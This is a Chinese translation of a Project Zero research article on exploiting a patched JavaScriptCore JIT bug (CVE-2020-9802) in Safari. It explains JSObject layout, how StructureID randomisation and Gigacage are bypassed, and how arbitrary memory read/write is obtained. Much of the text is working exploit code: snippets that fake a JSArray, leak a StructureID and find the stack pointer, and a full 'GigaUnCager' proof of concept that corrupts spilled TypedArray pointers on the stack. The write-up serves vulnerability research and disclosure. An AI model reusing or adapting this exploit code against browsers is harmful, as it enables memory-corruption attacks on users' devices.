JITSploitation II:生成读/写原语

  • A+
所属分类:安全开发

JITSploitation II:生成读/写原语

本系列文章由三篇组成,重点介绍在现代Web浏览器中挖掘和利用JavaScript引擎漏洞过程中所面临的各种技术挑战,并对当前的漏洞利用缓解措施进行评估。本文涉及的漏洞为CVE-2020-9802,该漏洞已经在iOS 13.5中得到了修复;而针对该漏洞缓解措施的绕过漏洞CVE-2020-9870和CVE-2020-9910,也已经在iOS 13.6中得到了相应的修复。

本文是本系列文章的第二篇,主要讲解如何利用Safari渲染器中的JIT安全漏洞。在第一篇文章中,我们讨论了DFG JIT的公共子表达式消除实现代码中的一个漏洞。在本文中,我们将为读者展示如何在addrof和fakeobj原语的基础上构建稳定的任意内存读/写原语。为此,我们先来了解一下StructureID随机化和Gigacage缓解措施,以及绕过这些缓解措施的方法。

JITSploitation II:生成读/写原语
概述

早在2016年,攻击者就已经掌握了通过addrof和fakeobj原语来伪造ArrayBuffer,进而获得可靠的任意内存读写原语的方法。不过,到了2018年年中,WebKit推出了“Gigacage”缓解技术,试图阻止这种伪造ArrayBuffers的攻击方法。Gigacage的工作原理是:将ArrayBuffer的后备存储(backing stores)移入4GB堆区域,并使用32bit相对偏移量而非纯指针来引用它们,从而提高了攻击者使用ArrayBuffers来访问笼(cage)外的数据的难度。

然而,尽管ArrayBuffer存储是被关在笼子里的,但包含数组元素的JSArray Butterflies却并非如此。由于它们可以存储原始浮点值,攻击者通过伪造这样一个 “未经装箱处理的双浮点型”JSArray,从而立即获得极为强悍的任意读写能力。这就是过去各种公开的漏洞利用方法绕过Gigacage的机制所在。(不)幸运的是,WebKit已经引入了一个旨在阻止攻击者完全伪造JavaScript对象的缓解措施——StructureID随机化。因此,攻击者要想得手,必须先绕过这个缓解措施。

因此,这篇文章将涉及下列主题:

· 详解JSObjects在内存中的布局情况;

· 绕过StructureID随机化机制,以伪造JSArray对象;

· 通过伪造的JSArray对象来获取(有限的)内存读/写原语;

· 突破Gigacage保护机制,以获得快速、可靠的任意内存读/写原语。

让我们开始吧。

JITSploitation II:生成读/写原语
伪造对象

为了伪造对象,必须知道它们在内存中的布局情况。对于JSC来说,普通的JSObject是由一个JSCell头部和后面的“Butterfly”以及可能的内联属性组成。所谓的Butterfly,就是一个存储缓冲区,用于存放对象的属性、元素以及元素的数量(长度),具体如下图所示:

JITSploitation II:生成读/写原语

像JSArrayBuffers这样的对象,通常会将更多的成员添加到JSObject布局中。

每个JSCell头都通过其中的StructureID字段引用一个结构;该字段实际上就是运行时的structureIDTable的索引。而这里的结构基本上就是一个类型信息blob,其中包含以下信息:

· 对象的基类型,如JSObject、JSArray、JSString、JSUint8Array,等等;

· 对象的属性以及这些属性相对于对象的存储位置;

· 对象的大小(以字节为单位);

· 索引类型,用于指示butterfly中存储的数组元素的类型,如JSValue、Int32或unboxed double,以及它们是作为一个连续数组存储,还是以某种其他方式存储。

最后,JSCell头部其余的二进制位用于保存GC标记状态等内容,并“缓存”一些常用的类型信息位,如索引类型。下图描绘了64位架构中普通JSObject的内存布局情况。

JITSploitation II:生成读/写原语

实际上,对对象执行的大多数操作都必须查看对象的结构,以确定如何处理对象。因此,在伪造JSObjects时,必须知道要伪造的对象类型的结构ID。以前,我们可以使用StructureID喷射技术来预测StructureID。为此,我们只需简单地分配许多所需类型(例如Uint8Array)的对象,并为每个对象添加不同的属性,这样的话,就会为每个对象分配一个唯一的Structure和StructureID。将上述过程重复一千次,这样就可以保证1000就是Uint8Array对象的有效StructureID。为了应付这种攻击技术,StructureID随机化(2019年初推出的一种新的漏洞缓解技术)缓解机制应运而生。

JITSploitation II:生成读/写原语
StructureID随机化

这种漏洞利用缓解措施背后的思想是非常简单粗暴的:由于攻击者伪造对象的前提是必须知道有效的StructureID,那么,不妨将StructureID随机化,从而阻断其攻击途径。至于具体的随机化方案,可以查看源代码,这里就不赘述了。这样一来,攻击者就无法预测StructureID了。

实际上,攻击者还是有多种方法可以绕过StructureID随机化这种防御措施的,包括:

1. 泄漏有效的StructureID,例如通过OOB读取;

2. 滥用不检查StructureID的代码;

3. 构造一个“StructureID oracle”以蛮力方式破解有效的StructureID。

对于“StructureID oracle”,其中一种构造方式就是再次滥用JIT。编译器经常使用的一种代码模式是StructureChecks,用以避免进行类型推断。如果使用伪C代码进行描述的话,它们大致如下所示:

int structID = LoadStructureId(obj)

if (structID != EXPECTED_STRUCT_ID) {

    bailout();

}

我们可以用它来构建一个“StructureID oracle”:如果可以构建一个经JIT编译的函数来检查但不使用StructureID的话,那么攻击者就能够通过观察是否发生紧急救援(bailout)来确定StructureID是否有效。反过来,这应该可以通过计时,或者通过“利用”JIT中的正确性问题来实现,这个问题会导致相同的代码在JIT和解释器中运行时产生截然不同的结果——在解释器中执行时,经过紧急救援后代码还会继续运行。这样的oracle将允许攻击者通过预测递增的索引位并遍历7个熵位的所有可能性来强行获取有效的structureID。

然而,泄露有效的structureID和滥用不检查structureID的代码似乎是更容易的选择。特别是在加载JSArray元素时,解释器中存在这样一条代码路径——它从不访问structureID。

static ALWAYS_INLINE JSValue getByVal(VM& vm, JSValue baseValue, JSValue subscript)

{

    ...;

    if (subscript.isUInt32()) {

        uint32_t i = subscript.asUInt32();

        if (baseValue.isObject()) {

            JSObject* object = asObject(baseValue);

            if (object->canGetIndexQuickly(i))

                return object->getIndexQuickly(i);

这里,getIndexQuickly直接从butterfly结构中加载元素,并且canGetIndexQuickly只会检查JSCell头部中的索引类型(其值为已知常量)和butterfly中的length:

bool canGetIndexQuickly(unsigned i) const {

    const Butterfly* butterfly = this->butterfly();

    switch (indexingType()) {

    ...;

    case ALL_CONTIGUOUS_INDEXING_TYPES:

        return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);

}

这样的话,我们就可以伪造一些看起来有点像JSArray的东西,将其backing storage指针指向另一个有效的JSArray,然后读取该JSArray的JSCell头部,而该头部中存在一个有效的structureID:

JITSploitation II:生成读/写原语

这样,StructureID随机化就可以被完全绕过了。

下面的JavaScript代码实现了上述功能,这里是通过利用“container”对象的内联属性来伪造对象的,具体代码如下所示:

let container = {

    jscell_header: jscell_header,

    butterfly: legit_float_arr,

};


let container_addr = addrof(container);

// add offset from container object to its inline properties

let fake_array_addr = Add(container_addr, 16); 

let fake_arr = fakeobj(fake_array_addr);


// Can now simply read a legitimate JSCell header and use it.

jscell_header = fake_arr[0];

container.jscell_header = jscell_header;


// Can read/write to memory now by corrupting the butterfly

// pointer of the float array.

fake_arr[1] = 3.54484805889626e-310;    // 0x414141414141 in hex

float_arr[0] = 1337;

上面的代码在访问0x414141414141地址附近的内存时将发生崩溃。因此,攻击者现在获得了一个任意内存读/写原语,尽管这个原语存在一些不足之处:

· 只能读写有效的双精度浮点值;

· 由于butterfly结构也存储其自身的长度,因此,必须定位butterfly结构指针,并使其长度足够大,以访问所需的数据。

JITSploitation II:生成读/写原语
如何提高exploit的稳定性

运行当前exploit将导致内存读/写操作,并且在垃圾回收器下一次运行并扫描所有可访问的堆对象时,代码很快就会崩溃。

提高exploit代码稳定性的常用方法是让所有堆对象保持在正常工作状态(这时扫描对象并访问所有出站指针的话,不会导致GC崩溃),如果无法做到的话,则需要在发生损坏后尽快修复。对于这个exploit来说,fake_arr最初是“GC unsafe”的,因为它包含一个无效的StructureID。当它的JSCell后来被替换成一个有效的JSCell时(container.jscell_header = jscell_header;),伪造的对象就变成了“GC safe”,因为它对GC来说看起来就是一个有效的JSArray。

然而,有一些边缘情况会导致损坏的数据也被存储在引擎的其他地方。例如,前面JavaScript片段中的数组加载(jscell_header = fake_arr[0];)将由get_by_val字节码操作来执行。这个操作还保留了最后一次看到的结构ID的缓存,用来建立JIT编译器所依赖的数值统计数据。这会导致安全问题,因为伪造的JSArray的结构ID是无效的,会导致崩溃,例如当GC扫描字节码缓存时,就会发生崩溃。然而,幸运的是,修复方法是非常简单的:执行两次相同的get_by_val操作,第二次使用有效的JSArray,这样其StructureID就会被被缓存起来。

...

let fake_arr = fakeobj(fake_array_addr);

let legit_arr = float_arr;

let results = [];

for (let i = 0; i < 2; i++) {

    let a = i == 0 ? fake_arr : legit_arr;

    results.push(a[0]);

}

jscell_header = results[0];

...

这样做可以使当前exploit在GC执行过程中变得非常稳定。

JITSploitation II:生成读/写原语
绕过Gigacage缓解措施

注意:这部分主要是恶意利用JIT漏洞的一个有趣的练习,对于前面的exploit代码来说并非必不可少的,因为它已经构造了一个足够强的读/写原语。但是,它能提高exploit的运行速度,从而提高读/写性能,但是这种做法只是一个可选项。

与本文开头的描述不同的是,JSC中的ArrayBuffer实际上是由两种独立的机制来提供保护的:

Gigacage:一个长度为许多GB的虚拟内存区域,其中分配了TypedArray(和其他一些对象)的备份存储缓冲区。作为一个64位指针的替代品,backing storage指针实际上就是一个基于cage基地址的32位偏移,以防止访问cage范围之外的内存空间。

PACCage:除了Gigacage之外,TypedArray的backing store指针现在还可以通过指针认证码进行保护,防止在堆上被篡改,因为攻击者通常无法伪造有效的PAC签名。

关于组合Gigacage和PACCage的具体方案例的详细介绍,请参阅commit 205711404e。因此,TypedArray基本上是受到双重保护的,因此,评估它们是否仍然可以被用于实现读/写原语似乎是一项值得努力的工作。为此,我们仍然可以在JIT中查找潜在的问题,因为为了提高性能,它通常会对TypedArray进行特殊的处理。

JITSploitation II:生成读/写原语
DFG中的TypedArray

现在,请考虑下面的JavaScript代码:

function opt(a) {

    return a[0];

}


let a = new Uint8Array(1024);

for (let i = 0; i < 100000; i++) opt(a);

在DFG中进行优化时,opt函数将被翻译成大致如下所示的DFG IR(这里省略了很多细节):

CheckInBounds a, 0

v0 = GetIndexedPropertyStorage

v1 = GetByVal v0, 0

Return v1

有趣的是,对TypedArray的访问被分成了三个不同的操作:对索引的边界检查、GetIndexedPropertyStorage操作(负责获取和释放backing storage指针)和GetByVal操作(实际上将转换为单个内存加载指令)。然后,上述IR将生成如下所示的机器代码,这里假设r0保存指向TypedArray a的指针:

; bounds check omitted

Lda r2, [r0 + 24];

; Uncage and unPAC r2 here

Lda r0, [r2]

B lr

然而,如果GetIndexedPropertyStorage没有可用的通用寄存器来存储原始指针,会发生什么情况?在这种情况下,指针将不得不被存放到堆栈中。这样的话,能够破坏堆栈内存的攻击者,就可以在通过GetByVal或SetByVal操作访问内存之前,通过修改保存在堆栈中的指针来突破这两个cages的保护。

本文的其余部分将介绍如何实现这种攻击。为此,还须解决三个主要的挑战:

· 泄漏堆栈指针,以便找到并破坏保存在堆栈上的值。

· 将GetIndexedPropertyStorage与GetByVal操作分开,这样修改溢出指针的代码就可以在两者之间执行。

· 强制将未缓存的存储指针溢出到堆栈中。

JITSploitation II:生成读/写原语
寻找堆栈

事实证明,在JSC中给定一个任意堆读/写原语的情况下,寻找堆栈的指针是相当容易的:VM对象的topCallFrame成员实际上是一个进入堆栈的指针,因为JSC解释器利用了原生堆栈,所以JS的顶部调用帧基本上也是主线程的堆栈顶部。因此,寻找栈就变得像查找从全局对象到VM实例的指针链一样简单。

let global = Function('return this')();

let js_glob_obj_addr = addrof(global);


let glob_obj_addr = read64(Add(js_glob_obj_addr,

    offsets.JS_GLOBAL_OBJ_TO_GLOBAL_OBJ));


let vm_addr = read64(Add(glob_obj_addr, offsets.GLOBAL_OBJ_TO_VM));


let vm_top_call_frame_addr = Add(vm_addr,

    offsets.VM_TO_TOP_CALL_FRAME);

let vm_top_call_frame_addr_dbl = vm_top_call_frame_addr.asDouble();


let stack_ptr = read64(vm_top_call_frame_addr);

log(`[*] Top CallFrame (stack) @ ${stack_ptr}`);

JITSploitation II:生成读/写原语
分离TypedArray访问操作

上面的opt函数只在索引处(即[0])访问一次类型化数组,而GetIndexedPropertyStorage操作将直接跟在GetByVal操作后面,因此,即使将uncaged的指针溢出到堆栈上,也不可能破坏它。但是,下面的代码已经设法将这两个操作分离开来:

function opt(a) {

    a[0];


    // Spill code here


    a[1];

}

这段代码最初会被转换成如下所示的DFG IR:

v0 = GetIndexedPropertyStorage a

GetByVal v0, 0


// Spill code here


v1 = GetIndexedPropertyStorage a

GetByVal v1, 1

在经过优化处理后,两个GetIndexedPropertyStorage操作将被CSE为一个操作,从而将第二个GetByVal与GetIndexedPropertyStorage操作隔离开来:

v0 = GetIndexedPropertyStorage a

GetByVal v0, 0


// Spill code here


// Then walk over stack here and replace backing storage pointer


GetByVal v0, 1

但是,只有溢出的代码没有修改全局状态时,才会发生这种情况,因为这可能会解除TypedArray的缓冲区,从而使其backing storage指针无效。在这种情况下,编译器将被迫重新加载第二个getByVal的backing storage指针。因此,我们不可能通过完全随意的代码来强制溢出,但正如下面所示,这个问题的解决方案并不太难。除此之外,还需要注意的是,这里必须使用两个不同的索引,否则GetByVals也可能被CSE掉。

JITSploitation II:生成读/写原语
溢出寄存器

完成了前面两个步骤后,剩下的问题就是如何强制溢出由GetIndexedPropertyStorage生成的uncaged指针。在执行CSE的同时强制溢出的一种方法是执行一些简单的数学计算,因为这些计算通常需要大量的临时值来保持活动状态,具体实现方式如下所示:

let p = 0; // Placeholder, needed for the ascii art =)

let r0=i,r1=r0,r2=r1+r0,r3=r2+r1,r4=r3+r0,r5=r4+r3,r6=r5+r2,r7=r6+r1,r8=r7+r0;

let r9=            r8+   r7,r10=r9+r6,r11=r10+r5,   r12   =r11+p      +r4+p+p;

let r13   =r12+p   +r3,   r14=r13+r2,r15=r14+r1,   r16=   r15+p   +   r0+p+p+p;

let r17   =r16+p   +r15,   r18=r17+r15,r19=r18+   r14+p   ,r20   =p   +r19+r13;

let r21   =r19+p   +r12 ,   r22=p+      r21+p+   r11+p,   r23   =p+   r22+r10;

let r24            =r23+r9   ,r25   =p   +r24   +r8+p+p   +p   ,r26   =r25+r7;

let r27   =r26+r6,r28=r27+p   +p   +r5+   p,   r29=r28+   p    +r4+   p+p+p+p;

let r30   =r29+r3,r31=r30+r2      ,r32=p      +r31+r1+p      ,r33=p   +r32+r0;

let r34=r33+r32,r35=r34+r31,r36=r25+r30,r37=r36+r29,r38=r37+r28,r39=r38+r27+p;


let r = r39; // Keep the entire computation alive, or nothing will be spilled.

上面计算的序列有点类似于斐波那契序列,但需要保存中间结果,因为在序列的后面还需要用到它们。不幸的是,这种方法有些脆弱,因为对引擎的各个部分(特别是寄存器分配器)进行不相关的修改很容易破坏堆栈溢出。

还有另一种更简单的方法(虽然可能性能稍差,当然视觉上也不那么吸引人),几乎可以保证原始存储指针会被溢出到堆栈:只需访问与通用寄存器一样多的TypedArrays,而不是只访问一个。在这种情况下,由于没有足够的寄存器来容纳所有的原始backing storage指针,其中一些将不得不溢出到堆栈,这样的话,我们就可以在堆栈中找到并替换它们,具体实现代码如下所示:

typed_array1[0];

typed_array2[0];

...;

typed_arrayN[0];

// Walk over stack, find and replace spilled backing storage pointer

let stack = ...;   // JSArray pointing into stack

for (let i = 0; i < 512; i++) {

    if (stack[i] == old_ptr) {

        stack[i] = new_ptr;

        break;

    }

}


typed_array1[0] = val_to_write;

typed_array2[0] = val_to_write;

...;

typed_arrayN[0] = val_to_write;

在克服了主要的挑战后,现在就可以实施攻击了,在本文附带了相应的POC,供感兴趣的读者参考。总而言之,这项技术在最初的实施过程中是相当麻烦的,并且还有一些问题必须解决,详情请看PoC。然而,一旦实现,所产生的代码不仅可靠性高,而且速度也非常快,几乎可以在macOS和iOS上瞬间实现真正的任意内存读/写语言,并且适用于不同的WebKit版本,根本无需进行额外的修改。

JITSploitation II:生成读/写原语
小结

本文为读者展示了攻击者是如何利用众所周知的addrof和fakeobj原语来获取WebKit中的任意内存读/写能力的。为此,攻击者必须绕过StructureID缓解措施,而绕过Gigacage通常只是可选的(但很有趣)。到目前为止,我的个人体会是:

· StructureID随机化似乎很容易绕过。由于JSCell位中存储了相当数量的类型信息,而攻击者可以据此进行推测,从而发现并滥用许多其他不需要有效structureID的操作。此外,可以转换为堆越界读取的漏洞也可能被攻击者被用来泄漏有效的structureID。

· 在目前的状态下,Gigacage作为一种安全防御措施的目的对我来说并不完全清楚,因为(几乎)任意的读/写原语可以从不受Gigacage约束的普通jsarray构造出来。在这一点上,正如这里所演示的那样,Gigacage也可以完全被绕过,即使实践中可能根本无需这样做。

· 我认为将来需要深入研究一下移除未经装箱处理的双精度浮点型JSArray并保留其余JSArray类型(这些类型都存储为经过装箱处理的JSValues)会带来什么样的影响:其中包括对于安全性和性能方面的影响。这可能会使StructureID随机化和Gigacage防御措施变得更加坚固。就本文介绍的漏洞利用方法来说,这将首先阻止addrof和fakeobj原语的构造(因为无法再实现double

本系列的最后一部分将展示如何通过读/写原语获得PC控制权,尽管存在PAC和APRR等各种缓解措施,也无法阻止这种攻击。

GigaUnCager POC

// This function achieves arbitrary memory read/write by abusing TypedArrays.

//

// In JSC, the typed array backing storage pointers are caged as well as PAC

// signed. As such, modifying them in memory will either just lead to a crash

// or only yield access to the primitive Gigacage region which isn't very useful.

//

// This function bypasses that when one already has a limited read/write primitive:

// 1. Leak a stack pointer

// 2. Access NUM_REGS+1 typed array so that their uncaged and PAC authenticated backing

//    storage pointer are loaded into registers via GetIndexedPropertyStorage.

//    As there are more of these pointers than registers, some of the raw pointers

//    will be spilled to the stack.

// 3. Find and modify one of the spilled pointers on the stack

// 4. Perform a second access to every typed array which will now load and

//    use the previously spilled (and now corrupted) pointers.

//

// It is also possible to implement this using a single typed array and separate

// code to force spilling of the backing storage pointer to the stack. However,

// this way it is guaranteed that at least one pointer will be spilled to the

// stack regardless of how the register allocator works as long as there are

// more typed arrays than registers.

//

// NOTE: This function is only a template, in the final function, every

// line containing an "$r" will be duplicated NUM_REGS times, with $r

// replaced with an incrementing number starting from zero.

//

const READ = 0, WRITE = 1;

let memhax_template = function memhax(memviews, operation, address, buffer, length, stack, needle) {

    // See below for the source of these preconditions.

    if (length > memviews[0].length) {

        throw "Memory access too large";

    } else if (memviews.length % 2 !== 1) {

        throw "Need an odd number of TypedArrays";

    }


    // Save old backing storage pointer to restore it afterwards.

    // Otherwise, GC might end up treating the stack as a MarkedBlock.

    let savedPtr = controller[1];


    // Function to get a pointer into the stack, below the current frame.

    // This works by creating a new CallFrame (through a native funcion), which

    // will be just below the CallFrame for the caller function in the stack,

    // then reading VM.topCallFrame which will be a pointer to that CallFrame:

    // https://github.com/WebKit/webkit/blob/e86028b7dfe764ab22b460d150720b00207f9714/

    // Source/JavaScriptCore/runtime/VM.h#L652)

    function getsp() {

        function helper() {

            // This code currently assumes that whatever precedes topCallFrame in

            // memory is non-zero. This seems to be true on all tested platforms.

            controller[1] = vm_top_call_frame_addr_dbl;

            return memarr[0];

        }

        // DFGByteCodeParser won't inline Math.max with more than 3 arguments

        // https://github.com/WebKit/webkit/blob/e86028b7dfe764ab22b460d150720b00207f9714/

        // Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp#L2244

        // As such, this will force a new CallFrame to be created.

        let sp = Math.max({valueOf: helper}, -1, -2, -3);

        return Int64.fromDouble(sp);

    }


    let sp = getsp();


    // Set the butterfly of the |stack| array to point to the bottom of the current

    // CallFrame, thus allowing us to read/write stack data through it. Our current

    // read/write only works if the value before what butterfly points to is nonzero.

    // As such, we might have to try multiple stack values until we find one that works.

    let tries = 0;

    let stackbase = new Int64(sp);

    let diff = new Int64(8);

    do {

        stackbase.assignAdd(stackbase, diff);

        tries++;

        controller[1] = stackbase.asDouble();

    } while (stack.length < 512 && tries < 64);


    // Load numregs+1 typed arrays into local variables.

    let m$r = memviews[$r];


    // Load, uncage, and untag all array storage pointers.

    // Since we have more than numreg typed arrays, at least one of the

    // raw storage pointers will be spilled to the stack where we'll then

    // corrupt it afterwards.

    m$r[0] = 0;


    // After this point and before the next access to memview we must not

    // have any DFG operations that write Misc (and as such World), i.e could

    // cause a typed array to be detached. Otherwise, the 2nd memview access

    // will reload the backing storage pointer from the typed array.


    // Search for correct offset.

    // One (unlikely) way this function could fail is if the compiler decides

    // to relocate this loop above or below the first/last typed array access.

    // This could easily be prevented by creating artificial data dependencies

    // between the typed array accesses and the loop.

    //

    // If we wanted, we could also cache the offset after we found it once.

    let success = false;

    // stack.length can be a negative number here so fix that with a bitwise and.

    for (let i = 0; i < Math.min(stack.length & 0x7fffffff, 512); i++) {

        // The multiplication below serves two purposes:

        //

        // 1. The GetByVal must have mode "SaneChain" so that it doesn't bail

        //    out when encountering a hole (spilled JSValues on the stack often

        //    look like NaNs): https://github.com/WebKit/webkit/blob/

        //    e86028b7dfe764ab22b460d150720b00207f9714/Source/JavaScriptCore/

        //    dfg/DFGFixupPhase.cpp#L949

        //    Doing a multiplication achieves that: https://github.com/WebKit/

        //    webkit/blob/e86028b7dfe764ab22b460d150720b00207f9714/Source/

        //    JavaScriptCore/dfg/DFGBackwardsPropagationPhase.cpp#L368

        //

        // 2. We don't want |needle| to be the exact memory value. Otherwise,

        //    the JIT code might spill the needle value to the stack as well,

        //    potentially causing this code to find and replace the spilled needle

        //    value instead of the actual buffer address.

        //

        if (stack[i] * 2 === needle) {

            stack[i] = address;

            success = i;

            break;

        }

    }


    // Finally, arbitrary read/write here :)

    if (operation === READ) {

        for (let i = 0; i < length; i++) {

            buffer[i] = 0;

            // We assume an odd number of typed arrays total, so we'll do one

            // read from the corrupted address and an even number of reads

            // from the inout buffer. Thus, XOR gives us the right value.

            // We could also zero out the inout buffer before instead, but

            // this seems nicer :)

            buffer[i] ^= m$r[i];

        }

    } else if (operation === WRITE) {

        for (let i = 0; i < length; i++) {

            m$r[i] = buffer[i];

        }

    }


    // For debugging: can fetch SP here again to verify we didn't bail out in between.

    //let end_sp = getsp();


    controller[1] = savedPtr;


    return {success, sp, stackbase};

}


// Add one to the number of registers so that:

// - it's guaranteed that there are more values than registers (note this is

//   overly conservative, we'd surely get away with less)

// - we have an odd number so the XORing logic for READ works correctly

let nregs = NUM_REGS + 1;


// Build the real function from the template :>

// This simply duplicates every line containing the marker nregs times.

let source = [];

let template = memhax_template.toString();

for (let line of template.split('n')) {

    if (line.includes('$r')) {

        for (let reg = 0; reg < nregs; reg++) {

            source.push(line.replace(/$r/g, reg.toString()));

        }

    } else {

        source.push(line);

    }

}

source = source.join('n');

let memhax = eval((${source}));

//log(memhax);


// On PAC-capable devices, the backing storage pointer will have a PAC in the

// top bits which will be removed by GetIndexedPropertyStorage. As such, we are

// looking for the non-PAC'd address, thus the bitwise AND.

if (IS_IOS) {

    buf_addr.assignAnd(buf_addr, new Int64('0x0000007fffffffff'));

}

// Also, we don't search for the address itself but instead transform it slightly.

// Otherwise, it could happen that the needle value is spilled onto the stack

// as well, thus causing the function to corrupt the needle value.

let needle = buf_addr.asDouble() * 2;


log(`[*] Constructing arbitrary read/write by abusing TypedArray @ ${buf_addr}`);


// Buffer to hold input/output data for memhax.

let inout = new Int32Array(0x1000);


// This will be the memarr after training.

let dummy_stack = [1.1, buf_addr.asDouble(), 2.2];


let views = new Array(nregs).fill(view);


let lastSp = 0;

let spChanges = 0;

for (let i = 0; i < ITERATIONS; i++) {

    let out = memhax(views, READ, 13.37, inout, 4, dummy_stack, needle);

    out = memhax(views, WRITE, 13.37, inout, 4, dummy_stack, needle);

    if (out.sp.asDouble() != lastSp) {

        lastSp = out.sp.asDouble();

        spChanges += 1;

        // It seems we'll see 5 different SP values until the function is FTL compiled

        if (spChanges == 5) {

            break;

        }

    }

}


// Now use the real memarr to access stack memory.

let stack = memarr;


// An address that's safe to clobber

let scratch_addr = Add(buf_addr, 42*4);


// Value to write

inout[0] = 0x1337;


for (let i = 0; i < 10; i++) {

    view[42] = 0;


    let out = memhax(views, WRITE, scratch_addr.asDouble(), inout, 1, stack, needle);


    if (view[42] != 0x1337) {

        throw "failed to obtain reliable read/write primitive";

    }

}


log([+] Got stable arbitrary memory read/write!);

if (DEBUG) {

    log("[*] Verifying exploit stability...");

    gc();

    log("[*] All stable!");

}

参考及来源:https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html

JITSploitation II:生成读/写原语

JITSploitation II:生成读/写原语

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: